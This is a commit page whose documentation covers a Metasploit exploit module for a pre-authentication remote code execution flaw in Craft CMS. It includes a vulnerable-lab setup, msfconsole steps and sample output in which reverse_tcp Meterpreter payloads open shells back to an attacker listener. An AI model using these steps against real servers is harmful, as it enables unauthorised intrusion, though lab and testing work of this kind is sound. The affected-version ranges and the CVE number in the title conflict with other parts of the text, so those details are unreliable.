Skip to content

Commit 8ae6d35

Browse files
dledda-r7dledda-r7
authored
Land #20085, module exploit for Craft CMS Preauth RCE (CVE-2025-3243)
Land #20085, module exploit for Craft CMS Preauth RCE (CVE-2025-3243)
2 parents 2c00a91 + 73f0963 commit 8ae6d35

File tree

2 files changed

+462
-0
lines changed

2 files changed

+462
-0
lines changed

‎documentation/modules/exploit/linux/http/craftcms_preauth_rce_cve_2025_32432.md

Lines changed: 215 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,215 @@
1+
## Vulnerable Application
2+
3+
This Metasploit module exploits a Remote Code Execution vulnerability in Craft CMS.
4+
5+
The vulnerability lies in improper handling of image transformations, which can be exploited to
6+
inject and execute arbitrary PHP code on the server via crafted HTTP requests.
7+
8+
---
9+
10+
### Affected Versions
11+
12+
- **3.x series**: `>= 3.9.15`
13+
- **4.x series**: `>= 4.14.15`
14+
- **5.x series**: `>= 5.6.17`
15+
16+
---
17+
18+
### Setting Up a Vulnerable Lab
19+
20+
To test this exploit, follow these steps to set up a vulnerable Craft CMS environment.
21+
22+
#### Docker Setup
23+
24+
Install a specific vulnerable version of Craft CMS:
25+
26+
```bash
27+
mkdir exploit-craft && \
28+
cd exploit-craft && \
29+
# Configure DDEV (https://ddev.com/) project for Craft CMS \
30+
ddev config \
31+
--project-type=craftcms \
32+
--docroot=web \
33+
--create-docroot \
34+
--php-version="8.2" \
35+
--database="postgres:15" \
36+
--nodejs-version="20" && \
37+
# Create the DDEV project
38+
ddev start -y && \
39+
# Create Craft CMS with the specified version
40+
ddev composer create -y --no-scripts --no-interaction "craftcms/craft:5.0.0" && \
41+
# Install a vulnerable Craft CMS version
42+
ddev composer require "craftcms/cms:5.5.0" \
43+
--no-scripts \
44+
--no-interaction --with-all-dependencies && \
45+
# Set the security key for Craft CMS
46+
ddev craft setup/security-key && \
47+
# Install Craft CMS
48+
ddev craft install/craft \
49+
--username=admin \
50+
--password=password123 \
51+
[email protected] \
52+
--site-name=Testsite \
53+
--language=en \
54+
--site-url='$DDEV_PRIMARY_URL' && \
55+
ddev restart && \
56+
# Launch the project
57+
echo 'Setup complete. Launching the project.' && \
58+
ddev launch
59+
```
60+
61+
---
62+
63+
## Verification Steps
64+
65+
1. Start the vulnerable Craft CMS instance using the steps above.
66+
2. Launch `msfconsole`.
67+
3. Use the module: `use exploit/linux/http/craftcms_preauth_rce_cve_2025_32432`.
68+
4. Set `RHOSTS` to the target Craft CMS instance.
69+
5. Configure additional options (`TARGETURI`, `SSL`, etc.) as needed.
70+
6. Execute the exploit with the `run` command.
71+
7. If successful, the module will execute the payload on the target.
72+
73+
74+
## Options
75+
76+
The module has the following option:
77+
78+
- **ASSET_ID**: This option is required for older versions of Craft CMS, particularly in the 3.x series.
79+
It specifies the asset ID for the Craft CMS instance. For 3.x versions, this ID must be set correctly to exploit the vulnerability.
80+
81+
For example, if you are targeting a Craft CMS version from the `>= 3.0.0`, `< 3.9.14`, make sure to specify the correct `ASSET_ID`.
82+
This is necessary for successful exploitation when dealing with these versions.
83+
84+
Craft CMS uses the notion of an "Asset" to manage files and media such as images and documents; each asset has a unique ID.
85+
This module does not perform bruteforcing of asset IDs to avoid noisy and inefficient exploitation attempts.
86+
87+
88+
## Scenarios
89+
90+
#### Successful Exploitation Against Craft CMS 5.5.0
91+
92+
**Setup**:
93+
94+
- Local Craft CMS instance with a vulnerable version (e.g., `5.5.0`).
95+
- Metasploit Framework.
96+
97+
**Steps**:
98+
99+
To successfully exploit the Craft CMS vulnerability using this Metasploit module, follow these steps:
100+
101+
1. Start `msfconsole`:
102+
```bash
103+
msfconsole
104+
```
105+
106+
2. Load the module:
107+
```bash
108+
use exploit/linux/http/craftcms_preauth_rce_cve_2025_32432
109+
```
110+
111+
3. Set the `RHOSTS` option to the target Craft CMS instance, for example:
112+
```bash
113+
set RHOSTS exploit-craft.ddev.site
114+
```
115+
116+
4. Configure other necessary options such as `TARGETURI`, `SSL`, and `RPORT` if required. By default:
117+
- `RPORT` is set to `80`.
118+
- `TARGETURI` is set to `/`.
119+
120+
5. Set the payload for exploitation. For example:
121+
```bash
122+
set PAYLOAD cmd/linux/http/x64/meterpreter/reverse_tcp
123+
```
124+
125+
6. Set the local listener address and port:
126+
```bash
127+
set LHOST 192.168.1.36
128+
set LPORT 4444
129+
```
130+
131+
7. Run the exploit:
132+
```bash
133+
exploit
134+
```
135+
136+
**Expected Results**:
137+
138+
If the target is vulnerable, the module will successfully execute the payload and open a session, such as a Meterpreter shell:
139+
140+
##### For `ARCH_PHP`:
141+
142+
```bash
143+
msf6 exploit(linux/http/craftcms_preauth_rce_cve_2025_32432) > options
144+
145+
Module options (exploit/linux/http/craftcms_preauth_rce_cve_2025_32432):
146+
147+
Name Current Setting Required Description
148+
---- --------------- -------- -----------
149+
ASSET_ID 410 yes Existing asset ID
150+
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
151+
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-m
152+
etasploit.html
153+
RPORT 80 yes The target port (TCP)
154+
SSL false no Negotiate SSL/TLS for outgoing connections
155+
VHOST no HTTP server virtual host
156+
157+
158+
Payload options (php/meterpreter/reverse_tcp):
159+
160+
Name Current Setting Required Description
161+
---- --------------- -------- -----------
162+
LHOST 192.168.1.36 yes The listen address (an interface may be specified)
163+
LPORT 4444 yes The listen port
164+
165+
166+
Exploit target:
167+
168+
Id Name
169+
-- ----
170+
0 PHP In-Memory
171+
172+
173+
174+
View the full module info with the info, or info -d command.
175+
```
176+
177+
```bash
178+
msf6 exploit(linux/http/craftcms_preauth_rce_cve_2025_32432) > exploit http://exploit-craft.ddev.site/
179+
[*] Started reverse TCP handler on 192.168.1.36:4444
180+
[*] Running automatic check ("set AutoCheck false" to disable)
181+
[+] Leaked session.save_path: /var/lib/php/sessions
182+
[+] The target is vulnerable. Session path leaked
183+
[*] Injecting stub & triggering payload...
184+
[*] Sending stage (40004 bytes) to 172.24.0.2
185+
[*] Meterpreter session 12 opened (192.168.1.36:4444 -> 172.24.0.2:35238) at 2025-04-29 21:52:44 +0200
186+
187+
meterpreter > sysinfo
188+
Computer : exploit-craft-web
189+
OS : Linux exploit-craft-web 6.14.2-2-cachyos #1 SMP PREEMPT_DYNAMIC Thu, 10 Apr 2025 17:27:10 +0000 x86_64
190+
Meterpreter : php/linux
191+
```
192+
193+
##### For `ARCH_CMD`:
194+
195+
```bash
196+
msf6 exploit(linux/http/craftcms_preauth_rce_cve_2025_32432) > set target 1
197+
target => 1
198+
msf6 exploit(linux/http/craftcms_preauth_rce_cve_2025_32432) > set payload cmd/linux/http/x64/meterpreter/reverse_tcp
199+
payload => cmd/linux/http/x64/meterpreter/reverse_tcp
200+
msf6 exploit(linux/http/craftcms_preauth_rce_cve_2025_32432) > exploit http://exploit-craft.ddev.site/
201+
[*] Started reverse TCP handler on 192.168.1.36:4444
202+
[*] Running automatic check ("set AutoCheck false" to disable)
203+
[+] Leaked session.save_path: /var/lib/php/sessions
204+
[+] The target is vulnerable. Session path leaked
205+
[*] Injecting stub & triggering payload...
206+
[*] Sending stage (3045380 bytes) to 172.24.0.2
207+
[*] Meterpreter session 13 opened (192.168.1.36:4444 -> 172.24.0.2:33436) at 2025-04-29 21:53:43 +0200
208+
209+
meterpreter > sysinfo
210+
Computer : 172.24.0.2
211+
OS : Debian 12.10 (Linux 6.14.2-2-cachyos)
212+
Architecture : x64
213+
BuildTuple : x86_64-linux-musl
214+
Meterpreter : x64/linux
215+
```

0 commit comments

Comments
 (0)